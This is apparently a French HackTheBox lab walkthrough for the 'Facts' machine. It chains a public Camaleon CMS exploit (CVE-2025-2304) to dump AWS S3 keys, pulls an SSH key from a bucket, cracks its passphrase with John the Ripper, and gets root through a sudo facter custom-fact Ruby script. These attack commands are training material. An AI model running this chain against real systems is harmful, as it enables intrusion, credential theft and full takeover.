
HackTheBox — Facts (Facile/Linux) | CVE-2025-2304 + AWS S3 + Clé SSH + Facter PrivEsc
Facts est une machine Linux de difficulté Facile qui nécessite l'exploitation d'une vulnérabilité connue (CVE-2025-2304) dans Camaleon CMS pour extraire des identifiants AWS S3 locaux. L'énumération des buckets S3 internes révèle une clé privée SSH qui doit être cassée à l'aide de John the Ripper pour obtenir un accès initial. L'élévation de privilèges est réalisée en exploitant une mauvaise configuration de sudo sur /usr/bin/facter, permettant l'exécution de code Ruby personnalisé pour obtenir un shell root.
Chaîne d'attaque : Nmap → Camaleon CMS (CVE-2025-2304) → Énumération des buckets S3 → Craquage de la clé SSH → sudo facter → Root
Commençons par un scan Nmap pour identifier les services actifs sur la machine cible. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Résultats :
PORT ÉTAT SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap révèle deux ports ouverts : 22 (SSH) et 80 (HTTP). Le serveur web est basé sur Nginx. Avant de pouvoir interagir correctement avec le site, nous devons ajouter l'hôte facts.htb à notre fichier /etc/hosts.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
En visitant le site sur le port 80, une page web standard s'affiche. Pour découvrir des chemins cachés, nous lançons une attaque par force brute de répertoires (par exemple, avec ffuf ou gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
L'énumération révèle plusieurs répertoires intéressants liés à un panneau d'administration (/admin, /admin.php, etc.), qui redirigent tous avec un statut 302 vers http://facts.htb/admin/login.

En visitant la page de connexion et en s'authentifiant (ou en regardant le pied de page du panneau), nous découvrons la technologie derrière le site : Camaleon CMS.
Un détail clé attire notre attention dans le coin inférieur droit : la version du CMS est 2.9.0.

Sachant que le serveur exécute Camaleon CMS 2.9.0, une rapide recherche en ligne nous permet de découvrir une vulnérabilité critique connue sous le nom de CVE-2025-2304, qui permet une élévation de privilèges d'un utilisateur authentifié à un administrateur.
Nous trouvons un exploit public sur GitHub (créé par Alien0ne) et le téléchargeons sur notre machine d'attaque.

Nous lançons l'exploit en passant les identifiants en notre possession (par exemple, mattia:mattia) pour nous élever au rang d'administrateur, extraire des informations sensibles, puis revenir au rôle d'origine pour ne laisser aucune trace évidente.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
La sortie de l'exploit est une mine d'or : il parvient à extraire les identifiants AWS S3 locaux et le point de terminaison interne utilisé par le serveur.

Avec ces clés, nous pouvons configurer notre AWS CLI local pour interagir avec le service S3 exposé par la machine.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Maintenant, nous pouvons lister les buckets disponibles en passant l'URL de point de terminaison personnalisée :
aws --endpoint-url http://facts.htb:54321 s3 ls
Nous trouvons deux buckets : internal et randomfacts. En explorant récursivement le bucket internal, nous découvrons un dossier .ssh contenant des clés !
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Téléchargeons le fichier id_ed25519 (la clé privée SSH) sur notre machine.
Nous avons la clé privée, mais elle est protégée par une phrase de passe. Pour la casser, nous utiliserons la suite John the Ripper. D'abord, nous convertirons la clé en un format lisible par John avec ssh2john :
ssh2john id_ed25519 > hash.txt
Ensuite, nous lançons l'attaque par dictionnaire (en utilisant la wordlist personnalisée my_guess.txt ou la classique rockyou.txt) :
john --wordlist=my_guess.txt hash.txt
Le mot de passe est cassé avec succès : dragonballz. Maintenant, nous avons tout ce qu'il faut pour accéder au serveur !

Maintenant que nous avons tout ce qu'il faut, nous pouvons profiter du second port ouvert que nous avons trouvé plus tôt : le port SSH (22).
ssh -i id_ed25519 [email protected]
Nous utiliserons le mot de passe trouvé plus tôt : dragonballz. Nous sommes dedans !
Maintenant, nous devons déterminer quel chemin nous pouvons exploiter pour obtenir l'accès root, donc nous utilisons sudo -l.
Chemin :
/usr/bin/facter
Pour exploiter ce chemin, nous utiliserons un mini script :
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
Et ensuite, nous l'exécutons :
sudo /usr/bin/facter --custom-dir=/tmp pwn

Nous sommes officiellement root !!!
Il ne nous reste plus qu'à trouver les deux flags à portée de main :)

NMAP — 2 ports découverts (22, 80)
↓
Énumération web — Découverte de la section admin
↓
Camaleon CMS -> CVE-2025-2304
↓
Exploit + paramètres AWS
↓
John the Ripper pour le hash
↓
Connexion SSH
↓
Sudo -l
↓
Script + Exécution
↓
ROOT ✅